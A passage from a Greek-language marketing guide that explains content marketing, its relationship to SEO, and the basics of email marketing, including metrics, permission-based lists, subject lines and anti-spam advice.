έδαφος στο digital marketing. Μάλιστα, πολλοί θεωρούν ότι αποτελεί το πρώτο βήμα για μία σίγουρη επιχειρηματική πορεία. Η προσεκτική και ποιοτική δουλειά στο marketing περιεχομένου μπορεί να κάνει τη διαφορά. Το content marketing (ή αλλιώς μάρκετινγκ περιεχομένου) είναι μια στρατηγική προσέγγιση marketing που εστιάζει στη δημιουργία και διανομή ενδιαφέροντος περιεχομένου, με στόχο την προσέλκυση και διατήρηση ενός καθορισμένου κοινού, το οποίο στη συνέχεια θα προχωρήσει σε κάποια κερδοφόρα ενέργεια.

Πρόκειται για μια

εξελισσόμενη και επαναλαμβανόμενη διαδικασία, η οποία μπορεί να κάνει την επιχείρησή σας να διαφέρει από τις άλλες. Άλλωστε στόχος του content marketing είναι να δείξει στους εν δυνάμει πελάτες σας ότι γνωρίζετε πολύ καλά το αντικείμενό σας και ότι αποτελείτε μια από τις κορυφαίες εταιρείες στο χώρο σας. Με το μάρκετινγκ περιεχομένου κάνετε γνωστή την εταιρεία σας σε πιθανούς πελάτες χωρίς την άμεση προβολή ή προώθηση των προϊόντων και των υπηρεσιών σας. Πρόκειται για μια μέθοδο παροχής επιθυμητών - χρήσιμων πληροφοριών που προβάλλει έμμεσα στον υποψήφιο πελάτη το brand. Το περιεχόμενο μπορεί να ποικίλει σε μορφή και θεματολογία

(άρθρα, παρουσιάσεις, έρευνες, video, infographics, audio κλπ.), ενώ

το είδος του

περιεχομένου θα πρέπει να είναι σχετικό με τις υπηρεσίες και τα προϊόντα που προσφέρετε. Το περιεχόμενο θα πρέπει να είναι ιδιαίτερα ποιοτικό, συναφές με το αντικείμενο της επιχείρησης και φυσικά θα πρέπει να ανανεώνεται με συνέπεια σε τακτά χρονικά διαστήματα. Το content marketing άρχισε να χρησιμοποιείται εκτεταμένα το 2010 και διαδόθηκε γρήγορα σαν βασική στρατηγική digital marketing. Πολύ σύντομα ο κόσμος των επιχειρήσεων και του ecommerce κατάλαβε την θετική επίδραση που θα μπορούσε να έχει η χρήση του content marketing και έτσι το παραδοσιακό marketing υιοθέτησε και χρησιμοποίησε εκτεταμένα τη νέα αυτή πρακτική. Μέσα από αυτή την διαδικασία προέκυψαν τα εξής ενδιαφέροντα συμπεράσματα: - Ραγδαία αύξηση του brand awareness και του customer engagement. - Διάδοση των νέων στα social media σε χρόνους ρεκόρ. - Αξιοσημείωτη αύξηση του pagerank για βελτιστοποιημένο περιεχόμενο (SEO content). - Αύξηση της επισκεψιμότητας στο web site - eshop. Μορφές περιεχομένου content marketing Το περιεχόμενο που προβάλλεται μέσα από τις σελίδες του website, το blog ή τα social media της εταιρείας στα πλαίσια του content marketing έχει πολλές μορφές. H μορφή του περιεχομένου καθορίζεται από το ίδιο το περιεχόμενο, το μέσο - κανάλι προβολής και φυσικά το επιδιωκόμενο αποτέλεσμα. Π.χ. μια σχολή χορού που θέλει να προβάλει στο κοινό της νέες χορευτικές φιγούρες, θα ήταν περισσότερο ελκυστικό και εύχρηστο να τις παρουσιάσει με video στο κανάλι της στο youtube ή το vimeo, αντί να δημιουργήσει άρθρο με οδηγίες και εικόνες στο blog. Ορισμένες από τις πιο διαδεδομένες μορφές περιεχομένου σήμερα: •

Άρθρα

•

Blog posts

•

eBooks

•

eBrochures

•

Infographics

•

Case studies

•

Newsletter

•

Φωτογραφίες

•

Use cases

•

Information guides

•

Demos

•

Microsites

•

Online courses

•

Ερωτήσεις και απαντήσεις (Q&As)

•

Podcasts – videocasts

•

How-to

•

Παρουσιάσεις

•

Δελτία τύπου

•

Aναλυτική παρουσίαση προϊόντος

•

Product guide,

•

Reference guides

•

Reviews

•

Resource libraries

•

RSS/XML feeds

•

Videos

•

Webinars – webcasts

•

White papers

•

Widgets

•

Free software tools

•

Mobile apps

•

VR tours

Πώς λειτουργεί το content marketing Το μυστικό πίσω από την επιτυχία του content marketing είναι η δημιουργία περιεχομένου που να σημαίνει κάτι για το κοινό στο οποίο στοχεύει η εκάστοτε εταιρεία. Με λίγα λόγια, το περιεχόμενο που παράγετε θα πρέπει να αγγίζει τον ιδανικό πελάτη σας, γι' αυτό μια καλή συμβουλή είναι να τον λαμβάνετε υπόψη σας όταν το δημιουργείτε. Το content marketing δεν είναι μόνο λέξεις. Η δημιουργία εικαστικού περιεχομένου σε μορφή εικόνας ή video είναι εξίσου σημαντική για την αποτελεσματικότητα του content marketing, αφού, όπως έχει παρατηρηθεί, το visual περιεχόμενο είναι εκείνο που τραβά την προσοχή των καταναλωτών.

Για να πετύχει το εγχείρημα, θα πρέπει να ορίσετε ένα πρόγραμμα δημοσίευσης περιεχομένου και να το ακολουθείτε με συνέπεια. Με αυτόν τον τρόπο, αλλά και με τη χρήση συγκεκριμένου τόνου φωνής, θα μπορέσετε να δημιουργήσετε μια καθημερινή σχέση με το κοινό σας, το οποίο θα επιστρέφει ανά τακτά χρονικά διαστήματα για να «καταναλώσει» ό,τι νεότερο έχετε δημοσιεύσει. Παράλληλα, εφόσον το περιεχόμενό σας είναι τόσο ενδιαφέρον θα θέλει να το μοιραστεί ή ακόμα και να πραγματοποιήσει κάποια ενέργεια. Διανομή του περιεχομένου Αφού καθορίσετε τον ιδανικό τύπο περιεχομένου για το κοινό σας, σειρά έχει η διανομή του. Πλατφόρμες όπως το website ή το blog της επιχείρησής σας, το YouTube, το Facebook και τα υπόλοιπα social media κανάλια, είναι ένα καλό μέρος για να ξεκινήσετε. Στόχευση του περιεχομένου σε συγκεκριμένο κοινό Αυτό αποτελεί τον πυρήνα του content marketing. Θα πρέπει να δημιουργείτε περιεχόμενο για το κοινό στο οποίο στοχεύετε και ΟΧΙ για εσάς. Για να το κάνετε αυτό θα πρέπει να γνωρίζετε το κοινό σας πολύ καλά. Σε περίπτωση που δεν ισχύει κάτι τέτοιο θα πρέπει να ξεκινήσετε από εκεί και να βασίσετε τη στρατηγική στα αποτελέσματα της έρευνάς σας. Κινητοποίηση του κοινού Αφού λοιπόν μάθετε σε ποιους απευθύνεται το περιεχόμενο που θα δημιουργήσετε, πρέπει να αναγνωρίσετε τους προβληματισμούς, τις ανάγκες, αλλά και τα ενδιαφέροντά τους ώστε το περιεχόμενό να τους αφορά. Ένας τρόπος να το πετύχετε είναι να διαβάζετε προσεκτικά το feedback και τα σχόλια που αφήνουν οι επισκέπτες στις πλατφόρμες τις οποίες διαχειρίζεστε (π.χ. website, blog, social media κλπ.). Επειδή όλα τα παραπάνω γίνονται για κάποιο λόγο, το content marketing σας βοηθά να ορίσετε εξ αρχής ξεκάθαρους στόχους. Οι πιο διαδεδομένοι στόχοι είναι: - Η αύξηση της επισκεψιμότητας ενός website/blog. - Η αύξηση των στοιχείων επικοινωνίας των δυνητικών πελατών μέσω του site. - Η δημιουργία σχέσης με το κοινό για τη διάδοση των προϊόντων/υπηρεσιών σας. - Η αύξηση του reach μέσω των social media. Μέτρηση και ανάλυση αποτελεσμάτων

Πώς θα μετρήσετε αν το content marketing αποδίδει; Το ερώτημα στην πραγματικότητα είναι: Τι πρέπει να μετρήσετε και ποιος δείκτης απόδοσης είναι σημαντικός για τη δική σας επιχείρηση; Αυτό που έχει σημασία είναι η ευθυγράμμιση με τους στόχους σας. Ποια αποτελέσματα θα σας φέρουν πιο κοντά σε αυτούς; Για παράδειγμα πρέπει να απαντήσετε: - Πόσα άτομα αλληλοεπιδρούν ενεργά με το περιεχόμενό σας; - Ποιο περιεχόμενο σας μοιράζονται; - Πόσο συχνά κάποιος χρήστης μοιράζεται δικό σας περιεχόμενο; - Ποια κανάλια χρησιμοποιούν, πόσο συχνά και σε τι βάθος; - Ποιο περιεχόμενο συμμετέχει περισσότερο στις πωλήσεις σας και με τι ποσοστό; - Ποιο περιεχόμενο και από ποιο κανάλι φέρνει υποψήφιους πελάτες (leads); Πλεονεκτήματα content marketing Το Content Marketing με αμεσότητα και ειλικρίνεια βοηθά τους δυνητικούς πελάτες να αποφασίσουν και να προχωρήσουν ταχύτερα στην αγορά των προϊόντων και των υπηρεσιών σας. Το κατάλληλο περιεχόμενο παρουσιάζει ξεκάθαρα τα πλεονεκτήματα από τη χρήση του προϊόντος ή της υπηρεσίας, οδηγώντας βήμα-βήμα τον επισκέπτη του website eshop στο να γίνει πελάτης. Αποτελεί χαμηλού σχετικά κόστους τακτική για να προσελκύσετε νέους πελάτες. Σε αντίθεση με τη διαφήμιση που πρέπει διαρκώς να ξοδεύετε για να έχετε νέους υποψήφιους πελάτες, με το Content Marketing δημιουργείτε ένα δικό σας κανάλι προσέλκυσης υποψήφιων πελατών, το οποίο με το πέρασμα του χρόνου γίνεται πιο αποτελεσματικό. Παρέχoντας χρήσιμες και αξιόλογες πληροφορίες στο κοινό σας αναπτύσσετε σταθερές σχέσεις ανάμεσα στους υποψήφιους πελάτες και την εταιρεία σας. Προσφέροντας δωρεάν περιεχόμενο και συμβουλές κερδίζετε την εμπιστοσύνη των πελατών σας αυξάνοντας την προοπτική για περισσότερες πωλήσεις. Είναι η πιο αποτελεσματική στρατηγική για να ξεχωρίσετε στα αποτελέσματα των μηχανών αναζήτησης, προσελκύοντας ένα μεγάλο αριθμό online επισκεπτών. Tο καλό περιεχόμενο είναι το αποτέλεσμα διαφόρων παραμέτρων. Αν μπορέσετε να διασφαλίσετε πως αυτοί οι παράμετροι θα δημιουργήσουν περιεχόμενο που θα παραμένει σχετικό, ενδιαφέρον και χρήσιμο ενώ ταυτόχρονα αξιοποιεί στρατηγικές SEO τότε έχει πολύ περισσότερες πιθανότητες αυτό το περιεχόμενο να ξεχωρίσει σε σύγκριση με άλλα, και γιατί όχι να βρεθεί στην κορυφή των σχετικών αποτελεσμάτων των μηχανών αναζήτησης. Προσελκύει και πολλούς απευθείας online επισκέπτες εκτός από τις μηχανές αναζήτησης. Εκτός από το να

ξεχωρίσετε στις μηχανές αναζήτησης, το χρήσιμο περιεχόμενο που δημοσιεύετε στο website σας θα προσελκύσει και απευθείας online επισκέπτες. Αυτοί θα βρουν το περιεχόμενό σας όχι από τις μηχανές αναζήτησης, αλλά από κάποιον φίλο τους μέσω των social media, από links από άλλα blogs και websites, από συστάσεις ή emails από φίλους ή συναδέλφους τους που τους αρέσει το περιεχόμενό σας, κ.λ.π. Content Marketing και SEO Είναι αλήθεια ότι υπάρχει μια μικρή σύγχυση σχετικά με τους όρους SEO και Content marketing. Η σύγχυση προκαλείται από το γεγονός ότι πολλές φορές οι τεχνικές που χρησιμοποιούνται για την εφαρμογή στρατηγικής SEO και Content Marketing μοιάζουν μεταξύ τους. Πολλοί πιστεύουν ότι αν κάνεις Content marketing δεν υπάρχει ανάγκη για SEO. Όσοι το ισχυρίζονται αυτό πιθανότατα δεν έχουν ιδέα για το πώς λειτουργεί το SEO. Άλλοι πιστεύουν το αντίθετο: Αν κάνεις SEO δεν έχεις ανάγκη το μάρκετινγκ Περιεχόμενου. Ο συγκεκριμένος ισχυρισμός προέρχεται από ανθρώπους που δεν γνωρίζουν τι είναι και πως λειτουργεί το Content Marketing. Ο μόνος τρόπος για να πετύχει η στρατηγική μιας επιχείρησης για το μάρκετινγκ περιεχομένου είναι να κάνει ταυτόχρονα και SEO. Υπάρχουν διαφορές μεταξύ SEO και Content Marketing. Το SEO είναι πιο συγκεκριμένο και ένα μέρος του είναι τεχνικό. Το μάρκετινγκ περιεχομένου είναι ευρύτερο. Το SEO για να λειτουργήσει χρειάζεται Περιεχόμενο. Το Content Marketing δημιουργεί Περιεχόμενο. Δεν υπάρχει SEO χωρίς περιεχόμενο. Χρειάζεστε άρθρα, λέξεις, λέξεις-κλειδιά. Το SEO απαιτεί λέξεις-κλειδιά. Μια από τις πιο σημαντικές συνιστώσες του SEO είναι οι λέξειςκλειδιά , η έρευνα για αυτές, η χρησιμοποίησή τους και η παρακολούθηση της κατάταξής τους στα αποτελέσματα των μηχανών αναζήτησης. Το Μάρκετινγκ περιεχομένου είναι το όχημα για την χρησιμοποίηση και εφαρμογή των λέξεων-κλειδιών που απαιτεί το SEO. Ο μόνος τρόπος με τον οποίο μπορείτε να ικανοποιήσετε την ανάγκη που δημιουργεί μια στρατηγική SEO για χρησιμοποίηση λέξεων-κλειδιών είναι να τις προσθέσετε στο περιεχόμενό σας. Το μάρκετινγκ Περιεχομένου δημιουργεί ποιοτικό, χρηστικό και χρήσιμο περιεχόμενο που προορίζεται να διαβαστεί από τους χρήστες (αναγνώστες – δυνητικούς πελάτες). Οι λέξεις-κλειδιά τις οποίες στοχεύετε πρέπει να υπάρχουν μέσα στο περιεχόμενο σας προκειμένου οι μηχανές αναζήτησης να καταλαβαίνουν σε τι αφορά το κείμενο. Το πώς, όμως, θα χρησιμοποιηθούν μέσα στο κείμενο, σε τι συχνότητα, πως θα είναι γραμμένος ο τίτλος, οι μεσότιτλοι και άλλα στοιχεία είναι SEO.

Το SEO απαιτεί βελτιστοποίηση της ιστοσελίδας σε τεχνικό επίπεδο. Το μάρκετινγκ περιεχομένου απαιτεί καλό User Experience. Αυτή η βελτιστοποίηση της ιστοσελίδας σε τεχνικό επίπεδο υλοποιείται προκείμενου η εμπειρία του χρήστη στην ιστοσελίδα σας αλλά και όταν διαβάζει το περιεχόμενο σας να είναι καλύτερη. Αυτά τα τεχνικά στοιχεία SEO βελτιστοποιούνται προκειμένου να βοηθήσουν τον χρήστη αρχικά για να σας βρει μέσω των μηχανών αναζήτησης και στην συνέχεια για τον διατηρούν μέσα στην σελίδα. Εν συντομία, όλα στοχεύουν στην προώθηση του περιεχομένου σας. Γιατί θέλετε ένα καλό χάρτη ιστότοπου (sitemap); Για να μπορούν οι χρήστες που αναζητούν προϊόντα ή υπηρεσίες να σας βρουν πιο εύκολα. Γιατί θέλετε ένα βελτιστοποιημένο αρχείο robots.txt; Για να μπορούν οι μηχανές αναζήτησης να ανιχνεύσουν καλύτερα τον ιστότοπο σας και έτσι οι αναγνώστες μπορούν να βρουν το περιεχόμενο. Γιατί θέλετε τα σωστά meta tags στα σωστά σημεία; Διότι έτσι το περιεχόμενό σας μπορεί να έχει καλύτερη ευρετηρίαση, τα αποτελέσματα αναζήτησης να είναι πιο ακριβή και περισσότεροι αναγνώστες να βρίσκουν περιεχόμενο σας. Γιατί θέλετε τα σωστά meta tags στα σωστά σημεία; Διότι έτσι το περιεχόμενό σας μπορεί να έχει καλύτερη ευρετηρίαση, τα αποτελέσματα αναζήτησης να είναι πιο ακριβή και περισσότεροι αναγνώστες να βρίσκουν περιεχόμενο σας. Το SEO δεν τελειώνει ποτέ και απαιτεί σταθερή απόδοση. Το μάρκετινγκ Περιεχομένου απαιτεί συνέπεια. Στην Google αρέσει το φρέσκο περιεχόμενο. Εάν έχετε έστω και λίγη εμπειρία από SEO, ίσως γνωρίζετε ότι το φρέσκο περιεχόμενο ευρετηριάζεται και καταγράφεται υψηλότερα στα αποτελέσματα των μηχανών αναζήτησης SERP σε σχέση με παλαιότερα κείμενα – κυρίως – χαμηλής αξίας. Όταν αυτό το φρέσκο περιεχόμενο εμφανίζεται σε έναν ιστότοπο με high authority domain, μπορείτε να είστε βέβαιοι ότι θα πάρει μια μικρή ώθηση SERPs. Ένας παράγοντας σταθερή απόδοσης στην βελτιστοποίηση της ιστοσελίδας της επιχείρησης σας, αποτελεί και η συνεχής παραγωγή –ποιοτικού- περιεχομένου. Το SEO χρειάζεται backlinks. Το μάρκετινγκ περιεχομένου είναι το όχημα για την δημιουργία backlinks. Η απόκτηση backlinks μπορεί να γίνει πραγματικότητα μόνο αν δημιουργείτε πραγματικά καλό περιεχόμενο, με το οποίο άλλοι ιστότοποι θα συνδέονται με την ιστοσελίδα σας χωρίς δεύτερη σκέψη. Καταλήγοντας, το SEO γίνεται στην πραγματικότητα για να υποστηρίξει το Content Marketing. Και η επιτυχία του Content Marketing περνάει μέσα από το SEO. Ή για να το θέσουμε κάπως διαφορετικά: Ένας ειδικός SEO πρέπει να γνωρίζει για το μάρκετινγκ περιεχομένου και ένας Content marketer οφείλει να γνωρίζει για το SEO.

Email Marketing Το email marketing ή marketing ηλεκτρονικού ταχυδρομείου ελληνιστί, αποτελεί μία μέθοδο άμεσου marketing που απευθύνεται σε ομάδα ατόμων που χρησιμοποιούν το ηλεκτρονικό ταχυδρομείο. Με την ευρύτερη έννοια, κάθε email που αποστέλλεται σε έναν ενδεχόμενο ή υφιστάμενο πελάτη, μπορεί να θεωρηθεί email marketing. Σε γενικές γραμμές το email marketing μπορεί να χωριστεί στα εξής είδη: - Τα Newsletters, που αποτελούν ενημερωτικά email, τα οποία αποστέλλονται σε συνδρομητές οι οποίοι έχουν ζητήσει να τα λαμβάνουν και συνήθως έχουν ως στόχο το brand awareness. - Τα email συναλλαγών ή transactional emails, τα οποία αποστέλλονται ύστερα από συγκεκριμένες ενέργειες πελατών, για παράδειγμα προκειμένου να επιβεβαιωθεί μία συναλλαγή. Ωστόσο, δεδομένου ότι έχουν αρκετά υψηλό Open Rate, συχνά οι marketers τα εκμεταλλεύονται προκειμένου να προωθήσουν τις πωλήσεις. - Τα άμεσα emails ή direct emails, τα οποία χρησιμοποιούνται προκειμένου να ενημερώσουν τους πελάτες ή ενδεχόμενους πελάτες για νέα προϊόντα και ειδικές προσφορές. - Τα automation email funnels είναι αυτοματοποιημένα σύστηματα αποστολής email ανάλογα με την συμπεριφορά του πελάτη ανά κάθε ξεχωριστό email και το στάδιο ετοιμότητας αγοράς του. Αρκετά περίπλοκο στο στήσιμο, άκρως αποτελεσματικό όταν στηθεί. Σύντομη αναδρομή στην ιστορία του Email marketing Η χρήση του Email marketing ξεκίνησε στις αρχές του 1990, όταν το internet άρχισε να γίνεται προσβάσιμο από μεγάλη μερίδα ανθρώπων. Σταδιακά τόσο οι διαφημιστές όσο και οι κάτοχοι ιστοσελίδων που προωθούσαν προϊόντα μέσω των emails, αντιλήφθηκαν ότι ήταν ένας πολύ εύκολος και αποδοτικός τρόπος τόσο για την ίδια τη διαφήμιση όσο και για να έρθουν σε επαφή με τους πελάτες τους σε παγκόσμιο επίπεδο. Μάλιστα το 1995 στις ΗΠΑ, το ποσοστό της ηλεκτρονικής διαφήμισης ξεπέρασε για πρώτη φορά στην ιστορία την συμβατική διαφήμιση μέσω αλληλογραφίας. Έτσι, το Email marketing δεν άργησε να γίνει ο νέος τρόπος διαφήμισης. Βασικές ορολογίες email marketing Κάποιες βασικές ορολογίες που βοηθάει να γνωρίζετε είναι:

1. Open Rate: Το ποσοστό των παραληπτών που άνοιξε το email σας. 2. CTR : Το Click-through-rate αποτελεί το ποσοστό των ατόμων που έκαναν click δια των ατόμων που άνοιξαν το email σας. 3. CTA : Το Call-to-action αποτελεί μία προτροπή προς τους χρήστες στους οποίους απευθύνεστε και με την οποία τους ζητάτε να προβούν σε μία επιθυμητή ενέργεια, όπως μία πώληση, ένα τηλεφώνημα, ένα download (π.χ. “Αποκτήστε το τώρα”). 4. Conversion Rate : Είναι ένας από τους πιο σημαντικούς δείκτες μέτρησης της επιτυχίας της καμπάνιας σας αφού αποτελεί το ποσοστό των παραληπτών που ανταποκρίθηκαν στο Call-to-action σας. 5. Unsubscribe : Το Unsubscribe ή Opt-out αφορά στους παραλήπτες που επιλέγουν να μην λαμβάνουν πλέον τα email σας. 6. CPM : Αποτελεί το πόσο σας κόστισε να αποστείλετε 1.000 email. 7. Bounce Rate : Αποτελεί το ποσοστό των email που δεν παραδόθηκαν στα εισερχόμενα των παραληπτών για κάποιο λόγο, π.χ. επειδή η διεύθυνση email είναι λανθασμένη. 8. Spam : Ένα από τα βασικά που πρέπει να προσέξετε στις email καμπάνιες σας είναι να μην “σπαμάρετε”, δηλαδή τα email σας να μην καταλήγουν στα Ανεπιθύμητα. Πλεονεκτήματα email marketing Είναι εύκολο και γρήγορο Με τη χρήση ενός email marketing tool, μπορείτε εύκολα και γρήγορα να απευθυνθείτε σε χιλιάδες συνδρομητές σας με ένα κλικ. Είναι οικονομικό Σε σύγκριση με όλες τις υπόλοιπες λύσεις digital marketing είναι η πιο οικονομική. Ξεκινάτε εντελώς δωρεάν και αν χρειαστεί αργότερα πληρώνετε με βάση τις ανάγκες σας. Η μόνη χρέωση που μπορεί να έχετε, είναι να αναθέσετε σε κάποιον άλλο το στήσιμο της πλατφόρμας και την εφαρμογή της στην ιστοσελίδα σας. Είναι αποτελεσματικό Όταν στέλνετε ένα email, πάει άμεσα στους παραλήπτες σας. Όσο πιο στοχευμένο κι ενδιαφέρον είναι το θέμα και το περιεχόμενο του, τόσο καλύτερα αποτελέσματα θα έχει. Όσο

περισσότερες επαφές έχετε στην λίστα σας, σε τόσους πιθανούς αγοραστές απευθύνεστε. Έστω ότι θέλετε να ενημερώσετε για μια νέα σας υπηρεσία. Σε μερικά λεπτά την γνωστοποιείτε σε χιλιάδες παραλήπτες. Είναι μετρήσιμο αφού παρέχει στατιστικά Χρησιμοποιώντας ένα email marketing tool, μπορείτε να βλέπετε τα αποτελέσματα σας ζωντανά. Μπορείτε άμεσα να γνωρίζετε: - Πόσοι παραλήπτες άνοιξαν το email σας. - Σε ποια links έγινε κλικ. - Ποιοι παραλήπτες δεν άνοιξαν καθόλου το email σας κ.λπ. Έχοντας μετρήσιμα αποτελέσματα και στατιστικά δεδομένα, μπορείτε να εντοπίσετε τα λάθη σας και να βελτιώσετε μελλοντικές σας αποστολές. Είναι προσωποποιημένο Έχοντας επαρκή δεδομένα των πελατών σας, μπορείτε να προσωποποιήσετε τα emails σας, κάνοντας τα για παράδειγμα να ξεκινούν με το όνομα του παραλήπτη. Αυτό αυξάνει την εμπιστοσύνη του παραλήπτη και την πιθανότητα να ανοίξει το μήνυμα σας. Μπορείτε επίσης να προσθέσετε επιπλέον κριτήρια. Αν για παράδειγμα θέλετε να προωθήσετε ένα γυναικείο προϊόν, δεν υπάρχει λόγος να το στείλετε σε άνδρες παραλήπτες. Κι αυτή η λειτουργία είναι ένα κλικ μακριά. Μπορεί να αυτοματοποιηθεί – email automation Μπορείτε να αυτοματοποιήσετε τις αποστολές σας με διάφορους τρόπους: 1. Μπορείτε να προγραμματίσετε αποστολές για την περίοδο εκπτώσεων. 2. Μπορεί να χρειαστεί να λείψετε, αλλά τα emails να συνεχίσουν να πηγαίνουν μόνα τους σε ώρες και ημέρες τις επιλογής σας. 3. Μπορεί να θέλετε να αποστέλλονται αυτόματα χρόνια πολλά και ευχές στους πελάτες σας όταν έχουν γενέθλια (αν έχετε συλλέξει αυτή την πληροφορία). 4. Μπορείτε επίσης να δημιουργήσετε μια ακόμη πιο πολύπλοκη διαδικασία, το email funnel. Στην ουσία αυτοματοποιημένα μηνύματα αποστέλλονται ανάλογα με την αντίδραση του παραλήπτη στο αμέσως προηγούμενο email κ.α.

Οδηγεί άμεσα σε αύξηση πωλήσεων Η αύξηση των πωλήσεων είναι βασικός στόχος. Ενημερώνετε άμεσα για προσφορές, εκπτώσεις, νέα προϊόντα κ.α. τους υφιστάμενους και μελλοντικούς πελάτες σας. Δημιουργήστε τη λίστα παραληπτών σας Σε μία εποχή που επικρατεί χάος από διαφημίσεις στο διαδίκτυο και στα social media, το email είναι για τους χρήστες κάτι σαν το “σπίτι” τους: Πρέπει να σας δώσουν την άδεια για να μπείτε στα εισερχόμενά τους. Είναι, λοιπόν, πολύ σημαντικό το πώς έφτασαν στα χέρια σας τα email τους. Αν τα πήρατε χωρίς την άδειά τους, τότε πιθανότατα αργά ή γρήγορα θα καταλήξετε στα Ανεπιθύμητα (spam) ή στον Κάδο απορριμμάτων ενώ δεν αποκλείεται να υπάρξουν και νόμιμες κυρώσεις. Αντίθετα, όσο πιο ξεκάθαροι είστε ως προς το τι θα κερδίσουν οι χρήστες αν σας δώσουν το email τους, τόσο πιο πιθανό είναι να έχετε ένα καλό Open Rate. Έτσι, στο στάδιο που τους ζητάτε τα στοιχεία τους καλό θα είναι να είστε όσο το δυνατόν περισσότερο επεξηγηματικοί: Θα τους σπαμάρετε; Πόσο συχνά θα λαμβάνουν τα email σας; Θα είναι σχετικά με τα ενδιαφέροντά τους; Τι θα κερδίσουν; Βρείτε τη θεματολογία Είναι σημαντικό να γνωρίζετε το βασικό θέμα του email σας πριν οργανώσετε μία αποστολή. Συχνά οι marketers εστιάζουν στο Open Rate και χάνουν το “δέντρο” που είναι ο τελικός σας στόχος, να κάνουν δηλαδή click και στη συνέχεια να ανταποκριθούν στο Call-to-action. Αν το θέμα του email σας δεν συνάδει με το περιεχόμενό του, τότε η προσπάθειά σας θα πάει χαμένη. Ακόμα κι αν το περιεχόμενό σας είναι άψογο και ενδιαφέρον, ο κόσμος πιθανότητα δεν θα ασχοληθεί περαιτέρω αν το θέμα σας είναι παραπλανητικό. Επιλέξτε με προσοχή το θέμα (subject line) Πίσω από κάθε επιτυχημένη email καμπάνια κρύβεται ένα προσεγμένο θέμα. Το subject line είναι ένας πολύ σημαντικός παράγοντας τόσο για το Open Rate σας όσο και για τα clicks και τα conversions. Σχετικότητα και ειλικρίνεια Είναι λάθος να αφήσετε να εννοηθεί μία ιδέα που είναι λανθασμένη ή παραπλανητική. Αν στο θέμα σας αναφέρετε “Τριήμερα για του Αγίου Πνεύματος από 10€”, τότε πρέπει να παρουσιάσετε αυτό ακριβώς.

Θα πρέπει να είστε συγκεκριμένοι, προκειμένου να γνωρίζει ο παραλήπτης τι είναι αυτό που του τάζετε και να το κάνετε πραγματικότητα. Προσπαθήστε να είστε σύντομοι και περιεκτικοί. Το δόλωμα Δώστε στους παραλήπτες σας έναν λόγο να κάνουν click. Τι κάνει το email σας τόσο μοναδικό για να το ανοίξει κάποιος; Έχετε μόλις λίγα δευτερόλεπτα για να τραβήξετε την προσοχή τους. Μία προσφορά ή ένα σχετικό με τα ενδιαφέροντα των παραληπτών σας και χρήσιμο περιεχόμενο που έχει αναφερθεί στο θέμα θα προσελκύσει την περιέργειά τους. Αντίθετα δύσκολα οι αναγνώστες θα κάνουν click σε κάτι πολύ καλό για να είναι αληθινό. Προσπαθήστε να περιγράψετε τι θα κερδίσουν οι παραλήπτες σας με ένα Call to Action και να δημιουργήσετε συναισθήματα όπως περιέργεια, επείγουσα ανάγκη, φόβος κτλ. Για παράδειγμα, ένα θέμα όπως “Επωφεληθείτε από εκπτώσεις 25% σε όλες τις κάλτσες μας” παρουσιάζει σαφώς το όφελος. Ένα θέμα όπως “Μόνο για σήμερα - Εκπτώσεις 25% σε όλες τις κάλτσες” είναι ακόμα καλύτερο καθώς ενέχει και το συναίσθημα της αμεσότητας αλλά και της περιέργειας του αναγνώστη να κάνει click στο site σας. Προσπαθήστε να μην κάνετε το subject “μακρινάρι” αλλά να συμπεριλάβετε 30-50 χαρακτήρες το πολύ. Κάντε δοκιμές Ο μόνος τρόπος για να ανακαλύψετε τι πραγματικά πιάνει με τη λίστα παραληπτών σας είναι να τα τεστάρετε. Όλες οι απορίες που έχετε σχετικά με το θέμα σας θα λυθούν αν κάνετε δοκιμές. Πριν καταλήξετε στα Subjects που θα δοκιμάσετε κάντε στους εαυτούς σας τις παρακάτω ερωτήσεις: - Να συμπεριλάβω μία ερώτηση; - Να απευθυνθώ στον παραλήπτη συμπεριλαμβάνοντας το όνομά του ή το όνομα της εταιρείας του; - Ποιο είναι το κατάλληλο μέγεθος του subject; - Να βάλω τιμή στο θέμα του email μου; Το περιεχόμενο θα καθορίσει σε μεγάλο βαθμό το CTR σας

H βασική παράμετρος για να κρίνει ένας παραλήπτης ότι ένα email είναι κακό είναι να μην θυμάται να το ζήτησε. Από την άλλη, το περιεχόμενο ενός email διαφέρει κατά περίπτωση. Ανεξάρτητα όμως από το είδος της επιχείρησής σας και τους στόχους σας μπορείτε να λάβετε υπόψιν τις παρακάτω συμβουλές: Το design θα πρέπει να ταιριάζει με την μπράντα σας Εάν χρησιμοποιείτε ένα έτοιμο template, προσπαθήστε να το προσαρμόσετε ώστε να ταιριάζει με το λογότυπο και τα χρώματα της εταιρείας σας. Με αυτόν τον τρόπο οι αναγνώστες σας θα αισθανθούν πιο οικεία από την πρώτη στιγμή. Κάντε το ευανάγνωστο Οι συνδρομητές σας είναι πολυάσχολοι άνθρωποι που λαμβάνουν πολλά e-mail και δεν πρόκειται να έχουν την αμέριστη προσοχή σας. Αν έχετε μεγάλο περιεχόμενο, σπάστε το σε σύντομες παραγράφους και συμπεριλάβετε ένα “διαβάστε περισσότερα” link. Μπορείτε επίσης να συμπεριλάβετε εικόνες ή εικονίδια. Mobile-friendly Όλο και περισσότεροι χρήστες επιλέγουν το κινητό τους για να χρησιμοποιήσουν το διαδίκτυο. Συγκεκριμένα, περισσότερα από τα μισά από τα email που αποστέλλονται, ανοίγονται από κινητά. Έτσι, όπως ισχύει για το site σας, έτσι και το email σας θα πρέπει να είναι mobile-friendly. Σχετικό περιεχόμενο Προσπαθήστε το περιεχόμενο του email σας να είναι σχετικό με τα ενδιαφέροντα των παραληπτών τους. Είναι λογικό τα προσωποποιημένα email να είναι και πιο επιτυχημένα. Ιδανικά, ζητήστε από τους χρήστες σας να δηλώσουν τα ενδιαφέροντά τους πριν εγγραφούν στο newsletter σας. Μία επίσης επιτυχημένη τεχνική είναι το localization. Αν για παράδειγμα έχετε διαδικτυακό κατάστημα, μπορείτε να δημιουργήσετε μία εκστρατεία μόνο για τους πελάτες που μένουν σε μία συγκεκριμένη περιοχή. Οδηγίες για να μην καταλήξετε στα spam 1. Μην χρησιμοποιείτε ψευδείς ή παραπλανητικές πληροφορίες. Τα πεδία “From,” “To,” “Reply-To,” και πληροφορίες όπως το domain name και η διεύθυνση email σας

